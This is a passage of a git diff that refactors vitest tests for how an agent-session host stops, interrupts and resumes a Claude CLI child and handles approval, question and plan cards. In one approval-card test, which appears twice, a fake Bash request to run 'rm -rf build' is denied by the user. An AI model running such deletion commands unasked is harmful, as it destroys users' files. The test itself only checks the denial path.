recordingStructuredAgentSessionLogger() - server = new AgentHookServer() - statusSubject = undefined - claude = fakeClaude({ - replayUuid: null, - routes: { - interrupt: (params) => - params?.cancelQueued - ? { still_queued: [], cancelled: queued.splice(0) } - : { still_queued: [...queued] } - } - }) - const lifecycle: Promise[] = [] - adapter = new ClaudeStructuredSessionAdapter({ - resolveLaunch: async () => ({ - pathToClaudeCodeExecutable: 'claude', - options: {}, - cwd: root, - claudeConfigDir: join(root, 'claude-home'), - providerSessionId: PROVIDER_SESSION_ID, - resumeLeafUuid: null, - resumesTranscript: (store.getRecord(SESSION)?.providerHandleChain.length ?? 0) > 0, - cliFlag: async () => 'supported' as const, - continuesChain: (store.getRecord(SESSION)?.providerHandleChain.length ?? 0) > 0 - }), - onEvent: (event) => { - events.push(event) - const mapped = structuredClaudeLifecycleEvent(event) - if (mapped) { - lifecycle.push(host.handleAdapterEvent(mapped)) - } - }, - onDispatchSettledLate: (settlement) => void host.settleLateDispatch(settlement), - onChildWorkEvidence: (sessionId, evidence) => - host.publishChildWorkEvidence(sessionId, evidence), - openConnection: claude.openConnection, - readProcessStartTime: async () => 1_700_000_000_000, - now: () => NOW - }) - store = await openTestAgentSessionRecordStore(root) - host = new StructuredAgentSessionHost({ - agents: NO_STRUCTURED_AGENTS, - store, - adapter: Object.assign(adapter, { supportsCreate: () => true }), - journalDatabase: openTestJournalHostDatabase(root), - claimKeyId: 'key-1', - mintSpawnToken: () => 'spawn-a', - logger: logs.logger, - statusSink: { - publish: (summary, subject) => { - statusSubject = subject - server.ingestStructuredStatus(summary, subject) - }, - forget: (subject) => server.dropStructuredStatus(subject), - publishChildWork: (subject, evidence, provider) => - server.ingestStructuredChildWork(subject, evidence, provider), - readChildWork: (subject) => server.getStructuredChildWorkViews(subject) - }, - now: () => NOW - }) - const params = hostTestAttachParams(null, { - provider: 'claude', - agent: 'claude', - accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: join(root, 'claude-home') }, - providerHandle: { kind: 'claude', sessionId: PROVIDER_SESSION_ID, leafUuid: null } - }) - expect(await host.attach(CALLER, params)).toMatchObject({ ok: true }) - await vi.waitFor(() => expect(host.readStatusSummary(SESSION)?.hostExecutionPhase).toBe('ready')) - await Promise.all(lifecycle) -}) - -afterEach(async () => { - vi.restoreAllMocks() - vi.useRealTimers() - await adapter.closeAll() - await host.flushAllStreamedEvents() - await closeTestJournalHostDatabases() - await rm(root, { recursive: true, force: true }) -}) - -function eventually(assertion: () => T | Promise): Promise { - return vi.waitFor(assertion, { timeout: 10_000 }) -} - -function envelope( - method: 'agentSession.send' | 'agentSession.cancel', - fields: Record, - fence = store.getRecord(SESSION)!.lease.runtimeFence -) { - return { - sessionId: SESSION, - clientOperationId: hostTestOperationId(), - expectedRuntimeFence: fence, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ - method, - sessionId: SESSION, - fields - }) - } -} - -async function send(text: string, fence?: number): Promise { - const body = hostTestMessage(text) - const sent = await host.send(CALLER, { - envelope: envelope('agentSession.send', { body }, fence), - body - }) - if (!sent.ok) { - throw new Error('send refused') - } - return sent.value.clientMessageId -} - -async function dispatch(clientMessageId: string) { - const submission = (await host.journalSnapshot(SESSION)).submissions.find( - (entry) => entry.clientMessageId === clientMessageId - ) - return { state: submission?.dispatchState, reason: submission?.reason } -} - -async function openTurn(connection: FakeConnection, text = 'Write a long reply.'): Promise { - const clientMessageId = await send(text) - await eventually(() => - expect(connection.sent.some((message) => JSON.stringify(message).includes(text))).toBe(true) - ) - frame(connection, { - type: 'system', - subtype: 'init', - uuid: `init-${text}`, - model: 'claude-sonnet-5', - capabilities: CAPABILITIES - }) - const written = connection.sent.at(-1)! - frame(connection, { ...written, uuid: written.uuid }) - frame(connection, { - type: 'assistant', - uuid: 'stopped-turn-leaf', - parent_tool_use_id: null, - message: { id: 'msg-1', role: 'assistant', content: [{ type: 'text', text: 'Working on' }] } - }) - await eventually(async () => expect((await dispatch(clientMessageId)).state).toBe('accepted')) - const turnId = activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items) - expect(turnId).not.toBeNull() - return turnId! -} - -function stop(turnId?: string) { - const fields = turnId === undefined ? {} : { turnId } - return host.cancel(CALLER, { envelope: envelope('agentSession.cancel', fields), ...fields }) -} - -/** Drain through Stop’s queued second step. */ -const laneDrained = (): Promise => host['tasks'].serialize(SESSION, async () => {}) - -const stopAcrossGrace = createStoppedClaudeDeadline({ - host: () => host, - adapter: () => adapter, - claude: () => claude, - sessionId: SESSION, - stop, + fixture, + INTERRUPTED_RESULT, + NEVER_ANSWERS, laneDrained -}) - -function stopEventsAtClose(connection: FakeConnection): () => number | undefined { - let atClose: number | undefined - const close = connection.close - connection.close = async () => { - const journal = host.collaboratorsForTests().sessions.get(SESSION)?.journal - const since = journal?.readSince({ epoch: journal.epoch, sequence: 0 }) - atClose ??= since?.ok - ? since.rows.filter( - (row) => row.kind === 'tombstone' && row.stopEvent?.reason === 'user-stop' - ).length - : -1 - return close() - } - return () => atClose -} - -const INTERRUPTED_RESULT = { - type: 'result', - subtype: 'error_during_execution', - is_error: true, - terminal_reason: 'aborted_streaming', - uuid: 'interrupted-result' -} - -// Exercise the real control deadline with a request that never answers. -const NEVER_ANSWERS = (options?: Record) => - runClaudeControl( - 'interrupt', - () => new Promise(() => {}), - typeof options?.timeoutMs === 'number' ? options.timeoutMs : undefined - ) - -async function interruptSent(connection: FakeConnection): Promise { - await eventually(() => - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(true) - ) -} - -async function turnOutcome(): Promise { - await host.flushStreamedEvents(SESSION) - const snapshot = await host.journalSnapshot(SESSION) - return readAgentJournalTurn(snapshot.items.findLast((item) => item.body.kind === 'turn')?.body) - ?.outcome -} - -async function statusTexts(): Promise { - await host.flushStreamedEvents(SESSION) - return (await host.journalSnapshot(SESSION)).items.flatMap((item) => - item.body.kind === 'status' ? [String(item.body.text)] : [] - ) -} +} from './structured-agent-session-claude-stop-contract-test-fixture' +import { + agentStatus, + childRecords, + dispatch, + eventually, + interruptSent, + openTurn, + send, + sendUnechoed, + statusTexts, + stop, + stopEventsAtClose, + turnOutcome, + stopAcrossGrace +} from './structured-agent-session-claude-stop-contract-test-actions' it('answers on the interrupt, ends the child once the stopped turn ends, and rests at that turn', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) await openTurn(connection) @@ -297,47 +46,20 @@ it('answers on the interrupt, ends the child once the stopped turn ends, and res expect(connection.closed).toBe(true) expect(eventsAtClose()).toBe(1) - expect(store.getRecord(SESSION)?.lease.claimStatus).toBe('released') + expect(fixture.store.getRecord(SESSION)?.lease.claimStatus).toBe('released') expect(await turnOutcome()).toBe('cancellation') // Resume must use the stopped turn’s own leaf. - expect(events.findLast((event) => event.type === 'handle')).toMatchObject({ + expect(fixture.events.findLast((event) => event.type === 'handle')).toMatchObject({ type: 'handle', providerSessionId: PROVIDER_SESSION_ID, leafUuid: 'stopped-turn-leaf' }) }) -async function sendUnechoed(connection: FakeConnection): Promise { - const clientMessageId = await send('Write a long reply.') - await eventually(() => expect(wrote(connection, 'Write a long reply.')).toBe(true)) - return clientMessageId -} - -function childRecords() { - return statusSubject ? server.getStructuredChildWorkViews(statusSubject) : [] -} - -async function agentStatus() { - await host.flushStreamedEvents(SESSION) - const { items, submissions } = await host.journalSnapshot(SESSION) - const { summary } = projectStructuredAgentSessionStatusState( - items, - submissions, - store.getRecord(SESSION)!.lease.runtimeFence - ) - return summary.status - ? structuredAgentSessionAgentStatus({ - status: summary.status, - turnOutcome: summary.turnOutcome, - childWork: childRecords() - }) - : null -} - it('reads a Stop pressed before Claude echoed the send as interrupted, not as a finished turn', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! // Match CLI wind-down ordering after an interrupt before echo. - claude.routes.interrupt = () => { + fixture.claude.routes.interrupt = () => { setTimeout(() => { const written = connection.sent.find((message) => message.type === 'user')! frame(connection, { ...written, uuid: written.uuid }) @@ -367,9 +89,9 @@ it('reads a Stop pressed before Claude echoed the send as interrupted, not as a }) it('ends the child once the grace runs out when Claude says nothing after a Stop before the echo', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) - claude.routes.interrupt = () => ({ still_queued: [], cancelled: [] }) + fixture.claude.routes.interrupt = () => ({ still_queued: [], cancelled: [] }) const clientMessageId = await sendUnechoed(connection) await expect(stopAcrossGrace(connection, 'request-end')).resolves.toMatchObject({ @@ -384,11 +106,11 @@ it('ends the child once the grace runs out when Claude says nothing after a Stop }, 15_000) it('withdraws a follow-up Claude queued behind the turn before the child ends, never doubt', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! await openTurn(connection) const followUp = await send('And then this.') await eventually(() => expect(connection.sent.at(-1)?.message).toBeDefined()) - queued.push(String(connection.sent.at(-1)!.uuid)) + fixture.queued.push(String(connection.sent.at(-1)!.uuid)) await eventually(async () => expect((await dispatch(followUp)).state).toBe('pending')) await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) @@ -404,10 +126,10 @@ it('withdraws a follow-up Claude queued behind the turn before the child ends, n }) it('ends the child at once when Claude refuses the interrupt, and says only that the stop was asked', async () => { - claude.routes.interrupt = () => { + fixture.claude.routes.interrupt = () => { throw new ClaudeControlRequestError('interrupt', 'Claude did not answer the interrupt.') } - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) await openTurn(connection) @@ -426,10 +148,10 @@ it('ends the child at once when Claude refuses the interrupt, and says only that }) it('ends the child when the interrupt fails, with no unconfirmed row', async () => { - claude.routes.interrupt = () => { + fixture.claude.routes.interrupt = () => { throw new Error('control request lost') } - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) await openTurn(connection) @@ -443,8 +165,8 @@ it('ends the child when the interrupt fails, with no unconfirmed row', async () }) it('ends the child within the grace when Claude never answers the interrupt', async () => { - claude.routes.interrupt = NEVER_ANSWERS - const connection = claude.connections[0]! + fixture.claude.routes.interrupt = NEVER_ANSWERS + const connection = fixture.claude.connections[0]! const eventsAtClose = stopEventsAtClose(connection) await openTurn(connection) @@ -461,7 +183,7 @@ it('ends the child within the grace when Claude never answers the interrupt', as }, 15_000) it('ends background work Claude runs when the Stop ends the child', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! await openTurn(connection) frame(connection, { type: 'system', @@ -496,7 +218,7 @@ it('ends background work Claude runs when the Stop ends the child', async () => }) it('starts a new child for the next send after a Stop, on the same Claude conversation', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! await openTurn(connection) await stop() frame(connection, INTERRUPTED_RESULT) @@ -504,12 +226,12 @@ it('starts a new child for the next send after a Stop, on the same Claude conver const next = await send('Carry on.') const resumed = await eventually(() => { - const started = claude.connections.at(-1) + const started = fixture.claude.connections.at(-1) expect(started).not.toBe(connection) expect(started && wrote(started, 'Carry on.')).toBe(true) return started! }) - expect(store.getRecord(SESSION)?.providerHandleChain.at(-1)?.handle).toMatchObject({ + expect(fixture.store.getRecord(SESSION)?.providerHandleChain.at(-1)?.handle).toMatchObject({ nativeId: PROVIDER_SESSION_ID }) expect(resumed.closed).toBe(false) @@ -517,19 +239,19 @@ it('starts a new child for the next send after a Stop, on the same Claude conver }) it('delivers a send issued with the pre-Stop fence during the Stop to the resumed child only', async () => { - const connection = claude.connections[0]! + const connection = fixture.claude.connections[0]! await openTurn(connection) - const fence = store.getRecord(SESSION)!.lease.runtimeFence + const fence = fixture.store.getRecord(SESSION)!.lease.runtimeFence let childrenWhenClosed: number | undefined const close = connection.close connection.close = async () => { const proven = await close() - childrenWhenClosed = claude.connections.length + childrenWhenClosed = fixture.claude.connections.length return proven } let answer!: () => void - claude.routes.interrupt = () => + fixture.claude.routes.interrupt = () => new Promise((resolve) => { answer = () => resolve({ still_queued: [], cancelled: [] }) }) @@ -544,7 +266,7 @@ it('delivers a send issued with the pre-Stop fence during the Stop to the resume await expect(sent).resolves.toEqual(expect.any(String)) const resumed = await eventually(() => { - const started = claude.connections.at(-1)! + const started = fixture.claude.connections.at(-1)! expect(started).not.toBe(connection) expect(wrote(started, 'Typed during the Stop.')).toBe(true) return started @@ -552,321 +274,6 @@ it('delivers a send issued with the pre-Stop fence during the Stop to the resume expect(childrenWhenClosed).toBe(1) expect(resumed.closed).toBe(false) expect(wrote(connection, 'Typed during the Stop.')).toBe(false) - expect(store.getRecord(SESSION)!.lease.runtimeFence).not.toBe(fence) + expect(fixture.store.getRecord(SESSION)!.lease.runtimeFence).not.toBe(fence) expect((await statusTexts()).filter((text) => text !== 'Cancellation requested.')).toEqual([]) }) - -it('sends a queue-if-active message issued while the Stop ends the child directly to the resumed child', async () => { - const connection = claude.connections[0]! - await openTurn(connection) - const fence = store.getRecord(SESSION)!.lease.runtimeFence - let childrenWhenClosed: number | undefined - const close = connection.close - connection.close = async () => { - const proven = await close() - childrenWhenClosed = claude.connections.length - return proven - } - - await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) - // Issue under the old fence while Stop’s second step awaits turn end. - const body = hostTestMessage('Queued during the Stop.') - const sent = host.send(CALLER, { - envelope: envelope('agentSession.send', { body, delivery: 'queue-if-active' }, fence), - body, - delivery: 'queue-if-active' - }) - frame(connection, INTERRUPTED_RESULT) - - expect(await sent).toMatchObject({ ok: true, value: { submission: expect.any(Object) } }) - await eventually(() => { - const started = claude.connections.at(-1)! - expect(started).not.toBe(connection) - expect(wrote(started, 'Queued during the Stop.')).toBe(true) - }) - expect(childrenWhenClosed).toBe(1) - expect(wrote(connection, 'Queued during the Stop.')).toBe(false) -}) - -it("runs nothing queued during the Stop's first step before the child's end", async () => { - const connection = claude.connections[0]! - await openTurn(connection) - let answer!: () => void - claude.routes.interrupt = () => - new Promise((resolve) => { - answer = () => resolve({ still_queued: [], cancelled: [] }) - }) - - const stopped = stop() - await interruptSent(connection) - let childLiveForNextOperation: boolean | undefined - const next = host['tasks'].serialize(SESSION, async () => { - childLiveForNextOperation = !connection.closed - }) - answer() - await stopped - frame(connection, INTERRUPTED_RESULT) - await next - - expect(childLiveForNextOperation).toBe(false) -}) - -it('still answers the Stop, with its row, when the child cannot be proven gone; the failure is reported', async () => { - const connection = claude.connections[0]! - await openTurn(connection) - const close = connection.close - connection.close = async () => false - - await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) - frame(connection, INTERRUPTED_RESULT) - await laneDrained() - - expect(await statusTexts()).toEqual(['Cancellation requested.']) - expect(logs.entries).toEqual([ - expect.objectContaining({ - fields: expect.objectContaining({ - scope: 'chat-stop', - error: expect.objectContaining({ - name: 'StructuredAgentSessionEvictionError', - step: 'stop-provider-child' - }) - }) - }) - ]) - connection.close = close -}) - -it('leaves the child and the follow-up alone for a Stop naming the turn that just ended', async () => { - const connection = claude.connections[0]! - const ended = await openTurn(connection) - frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) - await eventually(async () => - expect( - activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items) - ).toBeNull() - ) - await send('Follow-up.') - await eventually(() => expect(wrote(connection, 'Follow-up.')).toBe(true)) - - await expect(stop(ended)).resolves.toMatchObject({ ok: true, value: { cancelled: false } }) - await laneDrained() - - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - expect(await statusTexts()).toEqual([]) -}, 15_000) - -it('keeps a second Stop pressed while the first ends the child quiet', async () => { - const connection = claude.connections[0]! - await openTurn(connection) - - await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) - const second = stop() - frame(connection, INTERRUPTED_RESULT) - - await expect(second).resolves.toMatchObject({ ok: true, value: { cancelled: false } }) - expect(connection.closed).toBe(true) - expect(connection.calls.filter((call) => call.subtype === 'interrupt')).toHaveLength(1) - expect(await statusTexts()).toEqual(['Cancellation requested.']) - expect(logs.entries).toEqual([]) -}) - -const BRANCH_QUESTION = { - questions: [ - { - question: 'Which branch?', - header: 'Branch', - multiSelect: false, - options: [{ label: 'main' }, { label: 'dev' }] - } - ] -} - -async function ask( - connection: FakeConnection, - toolName: string, - input: Record, - signal?: AbortSignal -): Promise<{ - answered: ReturnType - card: { itemId: string; expectedRevision: number } -}> { - const answered = invokeCanUseTool(connection, toolName, 'permission-1', 'tool-1', { - input, - ...(signal ? { signal } : {}) - }) - const card = await eventually(async () => { - await host.flushStreamedEvents(SESSION) - const item = (await host.journalSnapshot(SESSION)).items.find( - (entry) => entry.body.kind === 'approval' || entry.body.kind === 'question' - ) - expect(item).toBeDefined() - return { itemId: item!.itemId, expectedRevision: item!.revision } - }) - return { answered, card } -} - -function cancelCard(turnId: string, prompt: { itemId: string; expectedRevision: number }) { - const fields = { turnId, prompt } - return host.cancel(CALLER, { envelope: envelope('agentSession.cancel', fields), ...fields }) -} - -async function cardResolution(itemId: string): Promise { - await host.flushStreamedEvents(SESSION) - const body = (await host.journalSnapshot(SESSION)).items.find( - (item) => item.itemId === itemId - )?.body - return body?.kind === 'approval' || body?.kind === 'question' ? body.resolution : undefined -} - -it('dismisses an approval card on its Cancel with the Deny reply, and the turn and child go on', async () => { - const connection = claude.connections[0]! - const turnId = await openTurn(connection) - const { answered, card } = await ask(connection, 'Bash', { command: 'rm -rf build' }) - - await expect(cancelCard(turnId, card)).resolves.toMatchObject({ - ok: true, - value: { turnId, cancelled: true } - }) - await laneDrained() - - const reply = await answered.promise - expect(reply).toMatchObject({ behavior: 'deny', message: 'User denied this action.' }) - expect(reply).not.toHaveProperty('interrupt') - expect(await cardResolution(card.itemId)).toMatchObject({ - state: 'cancelled', - resolvedBy: CALLER.callerKey - }) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - expect(activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items)).toBe( - turnId - ) - expect(await statusTexts()).toEqual([]) -}) - -it("ends a question card's Cancel the way the chat's Stop does, and the next send resumes", async () => { - const connection = claude.connections[0]! - const eventsAtClose = stopEventsAtClose(connection) - const turnId = await openTurn(connection) - const request = new AbortController() - const { answered, card } = await ask( - connection, - 'AskUserQuestion', - BRANCH_QUESTION, - request.signal - ) - - await expect(cancelCard(turnId, card)).resolves.toMatchObject({ - ok: true, - value: { turnId, cancelled: true } - }) - request.abort() - await host.flushStreamedEvents(SESSION) - // Prompt cancellation must land before child exit so answers are already disabled. - expect(connection.closed).toBe(false) - const cancelledHere = { state: 'cancelled', resolvedBy: CALLER.callerKey } - expect(await cardResolution(card.itemId)).toMatchObject(cancelledHere) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(true) - frame(connection, INTERRUPTED_RESULT) - await laneDrained() - - expect(connection.closed).toBe(true) - expect(eventsAtClose()).toBe(1) - expect(await turnOutcome()).toBe('cancellation') - expect(await answered.promise).not.toMatchObject({ behavior: expect.any(String) }) - expect(await cardResolution(card.itemId)).toMatchObject(cancelledHere) - expect(await statusTexts()).toEqual(['Cancellation requested.']) - await send('Carry on.') - await eventually(() => { - const started = claude.connections.at(-1)! - expect(started).not.toBe(connection) - expect(wrote(started, 'Carry on.')).toBe(true) - }) -}) - -it("declines a question card's Cancel itself when the Stop finds nothing to stop", async () => { - const connection = claude.connections[0]! - const ended = await openTurn(connection) - frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) - await eventually(async () => - expect( - activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items) - ).toBeNull() - ) - const { answered, card } = await ask(connection, 'AskUserQuestion', BRANCH_QUESTION) - - await expect(cancelCard(ended, card)).resolves.toMatchObject({ ok: true }) - await laneDrained() - - expect(await answered.promise).toMatchObject({ - behavior: 'deny', - message: expect.stringMatching(/dismissed/) - }) - expect(await cardResolution(card.itemId)).toMatchObject({ - state: 'cancelled', - resolvedBy: CALLER.callerKey - }) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - expect(await statusTexts()).toEqual([]) -}) - -it('dismisses a question card a finished turn raised, leaving the turn running now alone', async () => { - const connection = claude.connections[0]! - const earlier = await openTurn(connection) - const { answered, card } = await ask(connection, 'AskUserQuestion', BRANCH_QUESTION) - frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) - await eventually(async () => - expect( - activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items) - ).toBeNull() - ) - const running = await openTurn(connection, 'Now something else.') - expect(running).not.toBe(earlier) - - await expect(cancelCard(earlier, card)).resolves.toMatchObject({ ok: true }) - await laneDrained() - - expect(await answered.promise).toMatchObject({ behavior: 'deny' }) - expect(await cardResolution(card.itemId)).toMatchObject({ - state: 'cancelled', - resolvedBy: CALLER.callerKey - }) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - expect(activeStructuredAgentSessionTurnId((await host.journalSnapshot(SESSION)).items)).toBe( - running - ) -}) - -it('dismisses a plan card on its Cancel: Claude is told to wait for the user, and keeps running', async () => { - const connection = claude.connections[0]! - const turnId = await openTurn(connection) - const { answered, card } = await ask(connection, 'ExitPlanMode', { - plan: '# Release\n\n- Tag it' - }) - - await expect(cancelCard(turnId, card)).resolves.toMatchObject({ - ok: true, - value: { turnId, cancelled: true } - }) - await laneDrained() - - const reply = await answered.promise - expect(reply).toMatchObject({ behavior: 'deny' }) - expect(reply).not.toHaveProperty('interrupt') - expect(JSON.stringify(reply)).toMatch(/wait for them/) - expect(JSON.stringify(reply)).not.toMatch(/keep planning|ExitPlanMode again/i) - expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) - expect(connection.closed).toBe(false) - const cards = (await host.journalSnapshot(SESSION)).items.filter( - (item) => item.body.kind === 'approval' - ) - expect(cards).toHaveLength(1) - expect(await cardResolution(card.itemId)).toMatchObject({ - state: 'cancelled', - resolvedBy: CALLER.callerKey - }) - expect(await statusTexts()).toEqual([]) -}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-plan-card.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-plan-card.test.ts new file mode 100644 index 00000000000..7f69b287d78 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-plan-card.test.ts @@ -0,0 +1,46 @@ +import { expect, it } from 'vitest' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' + +import { + fixture, + CALLER, + laneDrained +} from './structured-agent-session-claude-stop-contract-test-fixture' +import { + ask, + cancelCard, + cardResolution, + openTurn, + statusTexts +} from './structured-agent-session-claude-stop-contract-test-actions' + +it('dismisses a plan card on its Cancel: Claude is told to wait for the user, and keeps running', async () => { + const connection = fixture.claude.connections[0]! + const turnId = await openTurn(connection) + const { answered, card } = await ask(connection, 'ExitPlanMode', { + plan: '# Release\n\n- Tag it' + }) + + await expect(cancelCard(turnId, card)).resolves.toMatchObject({ + ok: true, + value: { turnId, cancelled: true } + }) + await laneDrained() + + const reply = await answered.promise + expect(reply).toMatchObject({ behavior: 'deny' }) + expect(reply).not.toHaveProperty('interrupt') + expect(JSON.stringify(reply)).toMatch(/wait for them/) + expect(JSON.stringify(reply)).not.toMatch(/keep planning|ExitPlanMode again/i) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + const cards = (await fixture.host.journalSnapshot(SESSION)).items.filter( + (item) => item.body.kind === 'approval' + ) + expect(cards).toHaveLength(1) + expect(await cardResolution(card.itemId)).toMatchObject({ + state: 'cancelled', + resolvedBy: CALLER.callerKey + }) + expect(await statusTexts()).toEqual([]) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-queue-cards.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-queue-cards.test.ts new file mode 100644 index 00000000000..d44134cb700 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-queue-cards.test.ts @@ -0,0 +1,268 @@ +import { expect, it } from 'vitest' +import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' +import { + claudeFrame as frame, + claudeWasSent as wrote +} from '../../claude/claude-structured-session-test-support' +import { + HOST_TEST_SESSION as SESSION, + hostTestMessage +} from './structured-agent-session-host-test-data' + +import { + fixture, + BRANCH_QUESTION, + CALLER, + INTERRUPTED_RESULT, + laneDrained +} from './structured-agent-session-claude-stop-contract-test-fixture' +import { + ask, + cancelCard, + cardResolution, + envelope, + eventually, + interruptSent, + openTurn, + send, + statusTexts, + stop, + stopEventsAtClose, + turnOutcome +} from './structured-agent-session-claude-stop-contract-test-actions' + +it('sends a queue-if-active message issued while the Stop ends the child directly to the resumed child', async () => { + const connection = fixture.claude.connections[0]! + await openTurn(connection) + const fence = fixture.store.getRecord(SESSION)!.lease.runtimeFence + let childrenWhenClosed: number | undefined + const close = connection.close + connection.close = async () => { + const proven = await close() + childrenWhenClosed = fixture.claude.connections.length + return proven + } + + await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) + // Issue under the old fence while Stop’s second step awaits turn end. + const body = hostTestMessage('Queued during the Stop.') + const sent = fixture.host.send(CALLER, { + envelope: envelope('agentSession.send', { body, delivery: 'queue-if-active' }, fence), + body, + delivery: 'queue-if-active' + }) + frame(connection, INTERRUPTED_RESULT) + + expect(await sent).toMatchObject({ ok: true, value: { submission: expect.any(Object) } }) + await eventually(() => { + const started = fixture.claude.connections.at(-1)! + expect(started).not.toBe(connection) + expect(wrote(started, 'Queued during the Stop.')).toBe(true) + }) + expect(childrenWhenClosed).toBe(1) + expect(wrote(connection, 'Queued during the Stop.')).toBe(false) +}) + +it("runs nothing queued during the Stop's first step before the child's end", async () => { + const connection = fixture.claude.connections[0]! + await openTurn(connection) + let answer!: () => void + fixture.claude.routes.interrupt = () => + new Promise((resolve) => { + answer = () => resolve({ still_queued: [], cancelled: [] }) + }) + + const stopped = stop() + await interruptSent(connection) + let childLiveForNextOperation: boolean | undefined + const next = fixture.host['tasks'].serialize(SESSION, async () => { + childLiveForNextOperation = !connection.closed + }) + answer() + await stopped + frame(connection, INTERRUPTED_RESULT) + await next + + expect(childLiveForNextOperation).toBe(false) +}) + +it('still answers the Stop, with its row, when the child cannot be proven gone; the failure is reported', async () => { + const connection = fixture.claude.connections[0]! + await openTurn(connection) + const close = connection.close + connection.close = async () => false + + await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) + frame(connection, INTERRUPTED_RESULT) + await laneDrained() + + expect(await statusTexts()).toEqual(['Cancellation requested.']) + expect(fixture.logs.entries).toEqual([ + expect.objectContaining({ + fields: expect.objectContaining({ + scope: 'chat-stop', + error: expect.objectContaining({ + name: 'StructuredAgentSessionEvictionError', + step: 'stop-provider-child' + }) + }) + }) + ]) + connection.close = close +}) + +it('leaves the child and the follow-up alone for a Stop naming the turn that just ended', async () => { + const connection = fixture.claude.connections[0]! + const ended = await openTurn(connection) + frame(connection, { type: 'result', subtype: 'success', is_error: false, uuid: 'result-1' }) + await eventually(async () => + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBeNull() + ) + await send('Follow-up.') + await eventually(() => expect(wrote(connection, 'Follow-up.')).toBe(true)) + + await expect(stop(ended)).resolves.toMatchObject({ ok: true, value: { cancelled: false } }) + await laneDrained() + + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + expect(await statusTexts()).toEqual([]) +}) + +it('keeps a second Stop pressed while the first ends the child quiet', async () => { + const connection = fixture.claude.connections[0]! + await openTurn(connection) + + await expect(stop()).resolves.toMatchObject({ ok: true, value: { cancelled: true } }) + const second = stop() + frame(connection, INTERRUPTED_RESULT) + + await expect(second).resolves.toMatchObject({ ok: true, value: { cancelled: false } }) + expect(connection.closed).toBe(true) + expect(connection.calls.filter((call) => call.subtype === 'interrupt')).toHaveLength(1) + expect(await statusTexts()).toEqual(['Cancellation requested.']) + expect(fixture.logs.entries).toEqual([]) +}) + +it('dismisses an approval card on its Cancel with the Deny reply, and the turn and child go on', async () => { + const connection = fixture.claude.connections[0]! + const turnId = await openTurn(connection) + const { answered, card } = await ask(connection, 'Bash', { command: 'rm -rf build' }) + + await expect(cancelCard(turnId, card)).resolves.toMatchObject({ + ok: true, + value: { turnId, cancelled: true } + }) + await laneDrained() + + const reply = await answered.promise + expect(reply).toMatchObject({ behavior: 'deny', message: 'User denied this action.' }) + expect(reply).not.toHaveProperty('interrupt') + expect(await cardResolution(card.itemId)).toMatchObject({ + state: 'cancelled', + resolvedBy: CALLER.callerKey + }) + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(false) + expect(connection.closed).toBe(false) + expect( + activeStructuredAgentSessionTurnId((await fixture.host.journalSnapshot(SESSION)).items) + ).toBe(turnId) + expect(await statusTexts()).toEqual([]) +}) + +it("ends a question card's Cancel the way the chat's Stop does, and the next send resumes", async () => { + const connection = fixture.claude.connections[0]! + const eventsAtClose = stopEventsAtClose(connection) + const turnId = await openTurn(connection) + const request = new AbortController() + const { answered, card } = await ask( + connection, + 'AskUserQuestion', + BRANCH_QUESTION, + request.signal + ) + + await expect(cancelCard(turnId, card)).resolves.toMatchObject({ + ok: true, + value: { turnId, cancelled: true } + }) + request.abort() + await fixture.host.flushStreamedEvents(SESSION) + // Prompt cancellation must land before child exit so answers are already disabled. + expect(connection.closed).toBe(false) + const cancelledHere = { state: 'cancelled', resolvedBy: CALLER.callerKey } + expect(await 